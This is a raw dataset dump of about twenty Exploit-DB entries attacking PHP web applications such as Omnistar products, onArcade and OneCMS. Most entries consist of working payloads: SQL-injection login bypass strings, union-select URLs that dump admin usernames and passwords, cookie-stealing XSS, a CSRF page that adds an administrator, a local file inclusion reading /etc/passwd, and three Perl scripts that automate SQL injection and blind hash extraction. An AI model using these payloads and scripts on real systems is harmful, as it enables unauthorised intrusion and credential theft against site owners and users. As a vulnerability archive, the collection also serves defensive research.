deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10500
Description: Omnistar Affiliate - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (Auth Bypass) Remote SQL Injection Vulnerability
[?]
[~] Vendor:www.osiaffiliate.com
[?]
[?] Software:Omnistar Affiliate
[? ]Price $97.00 (One-time fee)
[?] author: ((R3d-D3v!L))
[?]
[?]Date: 16.dec.2009
[?]T!ME: 11:30 pm
[?] Home: WwW.xP10.ME
[?]
[?] contact: X@hotmail.co.jp
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[?] Exploit:



[?] E-/\/\A!L : r0' or ' 1=1

[?] password : r0' or ' 1=1



[?]demo:


[?]https://server/demo_aff4/admin/index.php



N073:
REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !



[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}-----------------------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #28952
Description: Omnistar Article Manager - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-11-09
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/20990/info

Omnistar Article Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/articles/comments.php?article_id='[sql]
http://www.example.com/articles/article.php?op=save&article_id='[sql]
http://www.example.com/articles/pages.php?page_id='[sql]
Exploit-DB #30717
Description: Omnistar Live - 'KB.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-29
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26234/info

Omnistar Live is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/smartshop/users/kb.php?id=10002&category_id=XSS
http://www.example.com/users/kb.php?category_id=XSS
Exploit-DB #36965
Description: Omnistar Live - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2012-03-13
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/52438/info

Omnistar Live is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

SQL:

http://www.example.com/support2/chat_request.php?only_dept=1%27

http://www.example.com/support/chat_request.php?only_dept=1%27

XSS:

http://www.example.com/support2/chat_request.php?only_dept=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Exploit-DB #37904
Description: Omnistar Mailer - Multiple SQL Injections / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-01
Author: Vulnerability Laboratory

Exploit:
source: https://www.securityfocus.com/bid/55760/info

Omnistar Mailer is prone to multiple SQL-injection vulnerabilities and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, execute HTML and script code in the context of the affected site, and steal cookie-based authentication credentials; other attacks are also possible.

Omnistar Mailer 7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/mailertest/admin/responder.php?op=edit&id=-37'+Union+Select+version(),2,3--%20-#[SQLi]

http://www.example.com/mailer/admin/preview.php?id=-2'+union+Select+1--%20-[SQLi]

http://www.example.com/mailer/admin/pages.php?form_id=-2'+Union+Select+version(),2,3--%20-#%20-&op=list[SQLi]

http://www.example.com/mailer/admin/navlinks.php?op=edit&nav_id=9''+Union+Select+version(),2,3--%20-#[SQLi]

http://www.example.com/mailertest/users/register.php?nav_id=-18'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16--%20-[SQLi]

http://www.example.com/mailertest/admin/pages.php?op=edit&id=16&form_id=2&apos;[SQLi]

http://www.example.com/mailertest/admin/contacts.php?op=edit&id=3&form_id=2&apos;[SQLi]

http://www.example.com/mailertest/users/index.php?profile=1&form_id=2&apos;[SQLi]

http://www.example.com/mailertest/users/register.php?form_id=2&apos;[SQLi]
Exploit-DB #17741
Description: Omnistar Mailer - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-28
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Omnistar Mailer SQLi Vulnerability
Date : june, 21 2010
Critical Level     : HIGH
Vendor Url : http://www.omnistarmailer.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends luv y0 guyz
#######################################################################################################
Description:
Are you a business and your are looking to increase your profit? Omnistar mailing list software will allow you to send campaigns and professional html emails to your customers and potential customers in no time at all.
#######################################################################################################
Xploit:AUTH BYPASS Vulnerability

USE  ' or 1=1 or ''='  in both username and password and you are in

DEMO URL
          http://server/mailerd4/admin/index.php

###############################################################################################################
Xploit:XSS Vulnerability

Attack pattern :"><script>alert("Sid3^effects")</script>
demo url :http://server/mailerd4/admin/contacts.php?op=[xss]

###############################################################################################################
# 0day no more
# Sid3^effects
Exploit-DB #34618
Description: Omnistar Recruiting - 'resume_register.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-06
Author: MizoZ

Exploit:
source: https://www.securityfocus.com/bid/43163/info

Omnistar Recruiting is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/users/resume_register.php?job2=%3E%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #26568
Description: OmnistarLive 5.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15550/info

OmnistarLive is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue affects OmnistarLive version 5.2; earlier versions may also be vulnerable. 

http://www.example.com/kb.php?id=10006&category_id=[SQL]
http://www.example.com/kb.php?id=[SQL]
Exploit-DB #45154
Description: onArcade 2.4.2 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-08-06
Author: r3m0t3nu11

Exploit:
 # Exploit Title: Cross-Site Request Forgery (Add Admin)
 # Google Dork: Powered by onArcade v2.4.2
 # Date: 2018/August/4
 # Author: r3m0t3nu11[Zero-way]
 # Software Link: ["http://www.onarcade.com"]
 # Version: ["Uptodate"]

the appilication is vulnerable to CSRF attack (No CSRF token in place) meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering).



[P0C]#

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://server/path/admin/members.php?a=add_member&ajax=1"method="POST">
      <input type="hidden" name="username" value="r3m0t3nu11" />
      <input type="hidden" name="email" value="l0v3rs14&#64;gmail&#46;com"/>
      <input type="hidden" name="password" value="123123" />
      <input type="hidden" name="user&#95;group" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #32293
Description: One-News - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-23
Author: suN8Hclf

Exploit:
source: https://www.securityfocus.com/bid/30804/info

One-News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and multiple HTML-injection issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Beta 2 of One-News is prone to these issues. 

http://www.example.com/onenews_beta2/index.php?q=3' and 1=2 union select 1,2,3/*
Exploit-DB #22543
Description: Onecenter Forum 4.0 - IMG Tag Script Injection
Type: webapps
Platform: php
Date: 2003-04-25
Author: David F. Madrid

Exploit:
source: https://www.securityfocus.com/bid/7441/info

OneCenter ForumOne 4.0 is a full-featured, web-based group discussion forum.

A problem with Onecenter ForumOne could allow remote users to execute arbitrary code in the context of the web site hosting ForumOne. The problem occurs due to the lack of sanitization performed on data embedded within HTML tags.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website implementing the vulnerable software. The attacker may hijack the session of the legitimate by using cookie-based authentication credentials. Other attacks are also possible.

Altough this vulnerability was reported to affect OneCenter ForumOne version 4.0, previous version may also be affected. 

<img src=javascript:alert(document.cookie);>
Exploit-DB #4433
Description: OneCMS 2.4 - 'abc' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-19
Author: str0ke

Exploit:
#!/usr/bin/perl
#
# OneCMS v2.4 Remote SQL Injection Exploit
# 
# Description
# -----------
# OneCMS contains a flaw that allows an attacker to carry out an SQL 
# injection attack. The issue is due to the userreviews.php script not 
# properly sanitizing user-supplied input to the 'abc' variable. This may 
# allow an attacker to inject or manipulate SQL queries in the backend 
# database if magic_quotes_gpc = off.
# -----------
# $Id: milw0rm_onecms.pl,v 0.1 2007/09/19 15:02:12 str0ke Exp $

use strict;
use LWP::UserAgent;

my $target = shift || &usage();
my $proxy = shift;

&exploit($target); 

sub usage
{
	print "[?] OneCMS v2.4 Remote SQL Injection Exploit\n";
	print "[?] str0ke <str0ke[!]milw0rm.com>\n";
	print "[?] usage: perl $0 [target]\n";
	print "    [target] (ex. http://127.0.0.1/OneCMS)\n";
	print "    [proxy] (ex. 0.0.0.0:8080)\n";
	exit;
}

sub exploit
{
	my($target) = @_;

	my $conn = LWP::UserAgent->new() or die;
	$conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
	$conn->proxy("http", "http://".$proxy."/") unless !$proxy;
	
	my $out=$conn->get($target."/userreviews.php?abc=-1'%20union%20select%200,concat(0x3a,0x3a,0x3a,username,0x3a,password,0x3a,0x3a,0x3a)username,0,password,0,0,0,0,0%20from%20onecms_users/*");

	if ($out->content =~ m/:::(.*?):::/ms) {
		print $1 . "\n";
	} else { 
		print "Exploit Failed\n";
	}
}

# milw0rm.com [2007-09-19]
Exploit-DB #5669
Description: OneCMS 2.5 - 'install_mod.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-23
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-034


Application:                    OneCMS
Versions Affected:              2.5
Vendor URL:                     http://www.insanevisions.com/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       26.03.2008
Vendor Response:                NONE
Solution:                       NONE
Date of Public Advisory:        23.05.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script install_mod.php


Code
****
#################################################

 $mod = $_GET['load'];
 $filexp = explode(".", $mod);
 $filetype = $filexp[1];
 $file = $filexp[0];
 $file2 = "mods/$mod";

 if (!is_numeric($mod)) { // makes sure that the user isnt entering a #
 if ($filetype == "php") {
 if ($_GET['act'] == "") {
 echo "Are you sure you would like to install the <b>".$file."</b> module?<br><a href='install_mod.php?load=".$mod."&act=go'>Yes</a>";
 }
 if ($_GET['act'] == "go") {
 include ($file2);
 ...

#################################################


Example:

http://[server]/[installdir]/install_mod.php?act=go&load=1234.php../../../../../../../../../../../../../etc/passwd



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-05-23]
Exploit-DB #5557
Description: OneCMS 2.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-05-07
Author: Cod3rZ

Exploit:
#!/usr/bin/perl
# OneCMS 2.5 Remote Blind SQL Injection Exploit
# Author : Cod3rZ
# Site : http://cod3rz.helloweb.eu
# Site : http://devilsnight.altervista.org
# Usage : perl oc.pl site
# There's many other bugs, find them yourself

use LWP::UserAgent;
use HTTP::Request::Common;
use Time::HiRes;

$ua = LWP::UserAgent->new;

$site = $ARGV[0];

if(!$site) { &usage; }
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);

sub usage {
 print " Usage: perl oc.pl site \n";
 print " Ex.: perl oc.pl http://127.0.0.1 \n";
}
sub request {
 $var = $_[0];
 $start = Time::HiRes::time();
 $response = $ua->request(POST $site.'/asd.php',[ sitename => $var, ]);
 $response->is_success() || print("$!\n");
 $end = Time::HiRes::time();
 $time = $end - $start;
 return $time
}
sub refresh{
 system("cls");
 print " -------------------------------------------------\n";
 print " OneCMS 2.5 Remote Blind Sql Injection Exploit    \n";
 print " Powered by Cod3rZ                                \n";
 print " http://cod3rz.helloweb.eu                        \n";
 print " -------------------------------------------------\n";
 print " Please Wait..                                    \n";
 print " Hash : " . $_[3] . "                             \n";
 print " -------------------------------------------------\n";
}
for ($i = 1; $i < 33; $i++)
 {
  for ($j = 0; $j < 16; $j++)
   {
   $var = "lol'+(SELECT IF ((ASCII( SUBSTRING( `password` , ".$i.", 1 ) ) =".$array[$j]." ) , benchmark( 200000000, CHAR( 0 )),0) FROM onecms_users WHERE `id` =1)+ '', '', '', '', '', '', '', '', '', '')/*";
 $time = request($var);
 refresh($host,$timedefault,$j,$hash,$time,$i);
if($time > 4)
{
 $time = request($var);
 refresh($host,$timedefault,$j,$hash,$time,$i);
 $hash .= chr($array[$j]);
 refresh($host,$timedefault,$j,$hash,$time,$i);
 $j=200;
}}

if($i == 1 && !$hash)
{
 print " Failed                                           \n";
 print " -------------------------------------------------\n";
 die();
}
if($i == 32) {
 print " Exploit Terminated                               \n";
 print " -------------------------------------------------\n ";
 system('pause');
}}

# milw0rm.com [2008-05-07]
Exploit-DB #11635
Description: OneCMS 2.5 - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-05
Author: Ctacok & .:[melkiy]:

Exploit:
# Exploit Title: ONECMS v2.5 SQL INJECTION 
# Date: 05.03.2010
# Author: Ctacok and .:[melkiy]:.
# Software Link: http://sourceforge.net/projects/onecms/
# Version: 2.5
# Tested on: Ubuntu 9.10 Apache2+PHP5

#!/usr/bin/perl 
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# ONECMS v2.5 SQL INJECTION                                  #\n";
print "# Bug founded by: .:[melkiy]:.                               #\n";
print "# Exploit coded by: Ctacok                                   #\n";
print "# Special for Antichat (forum.antichat.ru)                   #\n";
print "# Require : Magic_quotes = Off                               #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$prefix=$ARGV[2];   #  PREFIX TABLES, Default: onecms
$vuln = "-2'+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a),10,11+from+".$prefix."_users";
$doc = get($host.$path."index.php?load=elite&user=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
        	print "\n[+] Admin id: : $1";
		print "\n[+] Admin email: $2";
		print "\n[+] Admin password: $3";
}
Exploit-DB #34210
Description: OneCMS 2.6.1 - 'cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41194/info

OneCMS is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OneCMS 2.6.1 is vulnerable; prior versions may also be affected.

http://www.example.com/admin/admin.php?cat=cheats%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #34563
Description: OneCMS 2.6.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-02
Author: anT!-Tr0J4n

Exploit:
source: https://www.securityfocus.com/bid/42949/info

OneCMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

OneCMS version 2.6.1 is vulnerable; others may also be affected. 

http://www.example.com/index.php?load=elite&view=1%3C/title%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #34211
Description: OneCMS 2.6.1 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41194/info
 
OneCMS is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OneCMS 2.6.1 is vulnerable; prior versions may also be affected.

<form action="http://www.example.com/search.php?view=forums" method="post" name="main" >
<input type="hidden" name="search" value="1+any sql" />
</form>
<script>
document.main.submit();
</script>
Exploit-DB #34212
Description: OneCMS 2.6.1 - 'short1' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41194/info
  
OneCMS is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
OneCMS 2.6.1 is vulnerable; prior versions may also be affected.

<form action="http://www.example.com/admin/admin.php?view=manage&edit=2" method="post" name="main" >
<input type="hidden" name="id[]" value="1" />
<input type="hidden" name="cat_1" value="news" />
<input type="hidden" name="name_1" value="OneCMS News title" />
<input type="hidden" name="lev_1" value="No" />
<input type="hidden" name="Full1" value="news full text" />
<input type="hidden" name="systems1" value="" />
<input type="hidden" name="games1" value="" />
<input type="hidden" name="Short1" value='short"><script>alert(document.cookie)</script>' />
<input type="hidden" name="image1" value="" />
<input type="hidden" name="Add" value="Submit Changes" />
</form>
<script>
document.main.submit();
</script>
Exploit-DB #36149
Description: OneCMS 2.6.4 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-09-21
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/49733/info

OneCMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OneCMS 2.6.4 is vulnerable; other versions may also be affected. 

http://www.example.com/boards.php?t=list&rank=[SQL insertion attacks]
http://www.example.com/index.php?load=list&view=games&abc=[SQL insertion attacks]